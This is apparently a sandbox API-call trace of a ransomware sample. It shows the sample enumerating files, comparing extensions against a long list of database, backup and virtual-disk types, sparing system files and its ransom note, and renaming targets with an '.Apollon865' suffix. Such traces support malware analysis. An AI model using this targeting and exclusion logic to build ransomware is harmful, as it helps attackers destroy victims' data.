	[0039.833] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1
	[0039.833] lstrlenW (lpString="dsn") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1
	[0039.833] lstrlenW (lpString="dtsx") returned 4
	[0039.833] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1
	[0039.833] lstrlenW (lpString="dxl") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1
	[0039.833] lstrlenW (lpString="eco") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1
	[0039.833] lstrlenW (lpString="ecx") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1
	[0039.833] lstrlenW (lpString="edb") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1
	[0039.833] lstrlenW (lpString="epim") returned 4
	[0039.833] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1
	[0039.833] lstrlenW (lpString="fcd") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1
	[0039.833] lstrlenW (lpString="fdb") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1
	[0039.833] lstrlenW (lpString="fic") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1
	[0039.833] lstrlenW (lpString="flexolibrary") returned 12
	[0039.833] lstrlenW (lpString="fm5") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1
	[0039.833] lstrlenW (lpString="fmp") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1
	[0039.834] lstrlenW (lpString="fmp12") returned 5
	[0039.834] lstrcmpiW (lpString1="r.ico", lpString2="fmp12") returned 1
	[0039.834] lstrlenW (lpString="fmpsl") returned 5
	[0039.834] lstrcmpiW (lpString1="r.ico", lpString2="fmpsl") returned 1
	[0039.834] lstrlenW (lpString="fol") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1
	[0039.834] lstrlenW (lpString="fp3") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1
	[0039.834] lstrlenW (lpString="fp4") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1
	[0039.834] lstrlenW (lpString="fp5") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1
	[0039.834] lstrlenW (lpString="fp7") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1
	[0039.834] lstrlenW (lpString="fpt") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1
	[0039.834] lstrlenW (lpString="frm") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1
	[0039.834] lstrlenW (lpString="gdb") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0039.834] lstrlenW (lpString="gdb") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0039.834] lstrlenW (lpString="grdb") returned 4
	[0039.834] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1
	[0039.834] lstrlenW (lpString="gwi") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1
	[0039.834] lstrlenW (lpString="hdb") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1
	[0039.834] lstrlenW (lpString="his") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="his") returned 1
	[0039.834] lstrlenW (lpString="ib") returned 2
	[0039.834] lstrcmpiW (lpString1="co", lpString2="ib") returned -1
	[0039.834] lstrlenW (lpString="idb") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1
	[0039.834] lstrlenW (lpString="ihx") returned 3
	[0039.834] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1
	[0039.834] lstrlenW (lpString="itdb") returned 4
	[0039.835] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1
	[0039.835] lstrlenW (lpString="itw") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1
	[0039.835] lstrlenW (lpString="jet") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1
	[0039.835] lstrlenW (lpString="jtx") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1
	[0039.835] lstrlenW (lpString="kdb") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1
	[0039.835] lstrlenW (lpString="kexi") returned 4
	[0039.835] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1
	[0039.835] lstrlenW (lpString="kexic") returned 5
	[0039.835] lstrcmpiW (lpString1="r.ico", lpString2="kexic") returned 1
	[0039.835] lstrlenW (lpString="kexis") returned 5
	[0039.835] lstrcmpiW (lpString1="r.ico", lpString2="kexis") returned 1
	[0039.835] lstrlenW (lpString="lgc") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1
	[0039.835] lstrlenW (lpString="lwx") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1
	[0039.835] lstrlenW (lpString="maf") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1
	[0039.835] lstrlenW (lpString="maq") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1
	[0039.835] lstrlenW (lpString="mar") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1
	[0039.835] lstrlenW (lpString="marshal") returned 7
	[0039.835] lstrcmpiW (lpString1="der.ico", lpString2="marshal") returned -1
	[0039.835] lstrlenW (lpString="mas") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1
	[0039.835] lstrlenW (lpString="mav") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1
	[0039.835] lstrlenW (lpString="maw") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1
	[0039.835] lstrlenW (lpString="mdbhtml") returned 7
	[0039.835] lstrcmpiW (lpString1="der.ico", lpString2="mdbhtml") returned -1
	[0039.835] lstrlenW (lpString="mdn") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1
	[0039.835] lstrlenW (lpString="mdt") returned 3
	[0039.835] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1
	[0039.836] lstrlenW (lpString="mfd") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1
	[0039.836] lstrlenW (lpString="mpd") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1
	[0039.836] lstrlenW (lpString="mrg") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1
	[0039.836] lstrlenW (lpString="mud") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1
	[0039.836] lstrlenW (lpString="mwb") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1
	[0039.836] lstrlenW (lpString="myd") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1
	[0039.836] lstrlenW (lpString="ndf") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1
	[0039.836] lstrlenW (lpString="nnt") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1
	[0039.836] lstrlenW (lpString="nrmlib") returned 6
	[0039.836] lstrcmpiW (lpString1="er.ico", lpString2="nrmlib") returned -1
	[0039.836] lstrlenW (lpString="ns2") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1
	[0039.836] lstrlenW (lpString="ns3") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1
	[0039.836] lstrlenW (lpString="ns4") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="ns4") returned -1
	[0039.836] lstrlenW (lpString="nsf") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1
	[0039.836] lstrlenW (lpString="nv") returned 2
	[0039.836] lstrcmpiW (lpString1="co", lpString2="nv") returned -1
	[0039.836] lstrlenW (lpString="nv2") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1
	[0039.836] lstrlenW (lpString="nwdb") returned 4
	[0039.836] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1
	[0039.836] lstrlenW (lpString="nyf") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1
	[0039.836] lstrlenW (lpString="odb") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0039.836] lstrlenW (lpString="odb") returned 3
	[0039.836] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0039.836] lstrlenW (lpString="oqy") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1
	[0039.837] lstrlenW (lpString="ora") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1
	[0039.837] lstrlenW (lpString="orx") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1
	[0039.837] lstrlenW (lpString="owc") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1
	[0039.837] lstrlenW (lpString="p96") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1
	[0039.837] lstrlenW (lpString="p97") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1
	[0039.837] lstrlenW (lpString="pan") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1
	[0039.837] lstrlenW (lpString="pdb") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1
	[0039.837] lstrlenW (lpString="pdm") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1
	[0039.837] lstrlenW (lpString="pnz") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1
	[0039.837] lstrlenW (lpString="qry") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1
	[0039.837] lstrlenW (lpString="qvd") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1
	[0039.837] lstrlenW (lpString="rbf") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1
	[0039.837] lstrlenW (lpString="rctd") returned 4
	[0039.837] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1
	[0039.837] lstrlenW (lpString="rod") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1
	[0039.837] lstrlenW (lpString="rodx") returned 4
	[0039.837] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1
	[0039.837] lstrlenW (lpString="rpd") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1
	[0039.837] lstrlenW (lpString="rsd") returned 3
	[0039.837] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1
	[0039.837] lstrlenW (lpString="sas7bdat") returned 8
	[0039.837] lstrcmpiW (lpString1="lder.ico", lpString2="sas7bdat") returned -1
	[0039.838] lstrlenW (lpString="sbf") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1
	[0039.838] lstrlenW (lpString="scx") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1
	[0039.838] lstrlenW (lpString="sdb") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1
	[0039.838] lstrlenW (lpString="sdc") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1
	[0039.838] lstrlenW (lpString="sdf") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1
	[0039.838] lstrlenW (lpString="sis") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1
	[0039.838] lstrlenW (lpString="spq") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1
	[0039.838] lstrlenW (lpString="te") returned 2
	[0039.838] lstrcmpiW (lpString1="co", lpString2="te") returned -1
	[0039.838] lstrlenW (lpString="teacher") returned 7
	[0039.838] lstrcmpiW (lpString1="der.ico", lpString2="teacher") returned -1
	[0039.838] lstrlenW (lpString="tmd") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1
	[0039.838] lstrlenW (lpString="tps") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1
	[0039.838] lstrlenW (lpString="trc") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0039.838] lstrlenW (lpString="trc") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0039.838] lstrlenW (lpString="trm") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1
	[0039.838] lstrlenW (lpString="udb") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1
	[0039.838] lstrlenW (lpString="udl") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1
	[0039.838] lstrlenW (lpString="usr") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1
	[0039.838] lstrlenW (lpString="v12") returned 3
	[0039.838] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1
	[0039.838] lstrlenW (lpString="vis") returned 3
	[0039.839] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1
	[0039.839] lstrlenW (lpString="vpd") returned 3
	[0039.839] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1
	[0039.839] lstrlenW (lpString="vvv") returned 3
	[0039.839] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1
	[0039.839] lstrlenW (lpString="wdb") returned 3
	[0039.839] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1
	[0039.839] lstrlenW (lpString="wmdb") returned 4
	[0039.839] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1
	[0039.839] lstrlenW (lpString="wrk") returned 3
	[0039.839] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1
	[0039.839] lstrlenW (lpString="xdb") returned 3
	[0039.839] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1
	[0039.839] lstrlenW (lpString="xld") returned 3
	[0039.839] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1
	[0039.839] lstrlenW (lpString="xmlff") returned 5
	[0039.839] lstrcmpiW (lpString1="r.ico", lpString2="xmlff") returned -1
	[0039.839] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd82e70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.839] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.839] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="Apollon865.txt.exe") returned 1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2=".") returned 1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="..") returned 1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="windows") returned -1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="bootmgr") returned 1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="temp") returned -1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="pagefile.sys") returned -1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="boot") returned 1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="ids.txt") returned 1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="ntuser.dat") returned -1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="perflogs") returned -1
	[0039.839] lstrcmpiW (lpString1="netfol.ico", lpString2="MSBuild") returned 1
	[0039.839] lstrlenW (lpString="netfol.ico") returned 10
	[0039.839] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico") returned 96
	[0039.839] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="netfol.ico" | out: lpString1="netfol.ico") returned="netfol.ico"
	[0039.839] lstrlenW (lpString="netfol.ico") returned 10
	[0039.839] lstrlenW (lpString="Apollon865") returned 10
	[0039.840] lstrlenW (lpString=".dll") returned 4
	[0039.840] lstrcmpiW (lpString1="netfol.ico", lpString2=".dll") returned 1
	[0039.840] lstrlenW (lpString=".lnk") returned 4
	[0039.840] lstrcmpiW (lpString1="netfol.ico", lpString2=".lnk") returned 1
	[0039.840] lstrlenW (lpString=".ini") returned 4
	[0039.840] lstrcmpiW (lpString1="netfol.ico", lpString2=".ini") returned 1
	[0039.840] lstrlenW (lpString=".sys") returned 4
	[0039.840] lstrcmpiW (lpString1="netfol.ico", lpString2=".sys") returned 1
	[0039.840] lstrlenW (lpString="netfol.ico") returned 10
	[0039.840] lstrlenW (lpString="bak") returned 3
	[0039.840] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0039.840] lstrlenW (lpString="ba_") returned 3
	[0039.840] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0039.840] lstrlenW (lpString="dbb") returned 3
	[0039.840] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0039.840] lstrlenW (lpString="vmdk") returned 4
	[0039.840] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0039.840] lstrlenW (lpString="rar") returned 3
	[0039.840] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0039.840] lstrlenW (lpString="zip") returned 3
	[0039.840] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0039.840] lstrlenW (lpString="tgz") returned 3
	[0039.840] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0039.840] lstrlenW (lpString="vbox") returned 4
	[0039.840] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0039.840] lstrlenW (lpString="vdi") returned 3
	[0039.840] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0039.840] lstrlenW (lpString="vhd") returned 3
	[0039.840] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0039.840] lstrlenW (lpString="vhdx") returned 4
	[0039.840] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0039.840] lstrlenW (lpString="avhd") returned 4
	[0039.840] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0039.840] lstrlenW (lpString="db") returned 2
	[0039.840] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0039.840] lstrlenW (lpString="db2") returned 3
	[0039.840] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0039.840] lstrlenW (lpString="db3") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0039.841] lstrlenW (lpString="dbf") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0039.841] lstrlenW (lpString="mdf") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0039.841] lstrlenW (lpString="mdb") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0039.841] lstrlenW (lpString="sql") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0039.841] lstrlenW (lpString="sqlite") returned 6
	[0039.841] lstrcmpiW (lpString1="ol.ico", lpString2="sqlite") returned -1
	[0039.841] lstrlenW (lpString="sqlite3") returned 7
	[0039.841] lstrcmpiW (lpString1="fol.ico", lpString2="sqlite3") returned -1
	[0039.841] lstrlenW (lpString="sqlitedb") returned 8
	[0039.841] lstrcmpiW (lpString1="tfol.ico", lpString2="sqlitedb") returned 1
	[0039.841] lstrlenW (lpString="xml") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0039.841] lstrlenW (lpString="$er") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0039.841] lstrlenW (lpString="4dd") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0039.841] lstrlenW (lpString="4dl") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0039.841] lstrlenW (lpString="^^^") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0039.841] lstrlenW (lpString="abs") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0039.841] lstrlenW (lpString="abx") returned 3
	[0039.841] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0039.841] lstrlenW (lpString="accdb") returned 5
	[0039.841] lstrcmpiW (lpString1="l.ico", lpString2="accdb") returned 1
	[0039.841] lstrlenW (lpString="accdc") returned 5
	[0039.841] lstrcmpiW (lpString1="l.ico", lpString2="accdc") returned 1
	[0039.841] lstrlenW (lpString="accde") returned 5
	[0039.841] lstrcmpiW (lpString1="l.ico", lpString2="accde") returned 1
	[0039.841] lstrlenW (lpString="accdr") returned 5
	[0039.841] lstrcmpiW (lpString1="l.ico", lpString2="accdr") returned 1
	[0039.841] lstrlenW (lpString="accdt") returned 5
	[0039.842] lstrcmpiW (lpString1="l.ico", lpString2="accdt") returned 1
	[0039.842] lstrlenW (lpString="accdw") returned 5
	[0039.842] lstrcmpiW (lpString1="l.ico", lpString2="accdw") returned 1
	[0039.842] lstrlenW (lpString="accft") returned 5
	[0039.842] lstrcmpiW (lpString1="l.ico", lpString2="accft") returned 1
	[0039.842] lstrlenW (lpString="adb") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0039.842] lstrlenW (lpString="adb") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0039.842] lstrlenW (lpString="ade") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0039.842] lstrlenW (lpString="adf") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0039.842] lstrlenW (lpString="adn") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0039.842] lstrlenW (lpString="adp") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0039.842] lstrlenW (lpString="alf") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0039.842] lstrlenW (lpString="ask") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0039.842] lstrlenW (lpString="btr") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0039.842] lstrlenW (lpString="cat") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0039.842] lstrlenW (lpString="cdb") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0039.842] lstrlenW (lpString="ckp") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0039.842] lstrlenW (lpString="cma") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0039.842] lstrlenW (lpString="cpd") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0039.842] lstrlenW (lpString="dacpac") returned 6
	[0039.842] lstrcmpiW (lpString1="ol.ico", lpString2="dacpac") returned 1
	[0039.842] lstrlenW (lpString="dad") returned 3
	[0039.842] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0039.842] lstrlenW (lpString="dadiagrams") returned 10
	[0039.843] lstrlenW (lpString="daschema") returned 8
	[0039.843] lstrcmpiW (lpString1="tfol.ico", lpString2="daschema") returned 1
	[0039.843] lstrlenW (lpString="db-journal") returned 10
	[0039.843] lstrlenW (lpString="db-shm") returned 6
	[0039.843] lstrcmpiW (lpString1="ol.ico", lpString2="db-shm") returned 1
	[0039.843] lstrlenW (lpString="db-wal") returned 6
	[0039.843] lstrcmpiW (lpString1="ol.ico", lpString2="db-wal") returned 1
	[0039.843] lstrlenW (lpString="dbc") returned 3
	[0039.843] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0039.843] lstrlenW (lpString="dbs") returned 3
	[0039.843] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0039.843] lstrlenW (lpString="dbt") returned 3
	[0039.855] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0039.855] lstrlenW (lpString="dbv") returned 3
	[0039.855] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0039.855] lstrlenW (lpString="dbx") returned 3
	[0039.855] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0039.855] lstrlenW (lpString="dcb") returned 3
	[0039.855] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0039.855] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0039.855] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0039.855] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0039.855] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0039.855] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0039.856] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="pictures.ico" | out: lpString1="pictures.ico") returned="pictures.ico"
	[0039.856] lstrlenW (lpString="pictures.ico") returned 12
	[0039.856] lstrlenW (lpString="Apollon865") returned 10
	[0039.856] lstrcmpiW (lpString1="ctures.ico", lpString2="Apollon865") returned 1
	[0039.856] lstrlenW (lpString=".dll") returned 4
	[0039.856] lstrcmpiW (lpString1="pictures.ico", lpString2=".dll") returned 1
	[0039.856] lstrlenW (lpString=".lnk") returned 4
	[0039.856] lstrcmpiW (lpString1="pictures.ico", lpString2=".lnk") returned 1
	[0039.856] lstrlenW (lpString=".ini") returned 4
	[0039.856] lstrcmpiW (lpString1="pictures.ico", lpString2=".ini") returned 1
	[0039.856] lstrlenW (lpString=".sys") returned 4
	[0039.856] lstrcmpiW (lpString1="pictures.ico", lpString2=".sys") returned 1
	[0039.856] lstrlenW (lpString="pictures.ico") returned 12
	[0039.856] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="resource.xml" | out: lpString1="resource.xml") returned="resource.xml"
	[0039.856] lstrlenW (lpString="resource.xml") returned 12
	[0039.856] lstrlenW (lpString="Apollon865") returned 10
	[0039.856] lstrcmpiW (lpString1="source.xml", lpString2="Apollon865") returned 1
	[0039.856] lstrlenW (lpString=".dll") returned 4
	[0039.856] lstrcmpiW (lpString1="resource.xml", lpString2=".dll") returned 1
	[0039.856] lstrlenW (lpString=".lnk") returned 4
	[0039.856] lstrcmpiW (lpString1="resource.xml", lpString2=".lnk") returned 1
	[0039.856] lstrlenW (lpString=".ini") returned 4
	[0039.856] lstrcmpiW (lpString1="resource.xml", lpString2=".ini") returned 1
	[0039.856] lstrlenW (lpString=".sys") returned 4
	[0039.856] lstrcmpiW (lpString1="resource.xml", lpString2=".sys") returned 1
	[0039.856] lstrlenW (lpString="resource.xml") returned 12
	[0039.856] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.Apollon865") returned 109
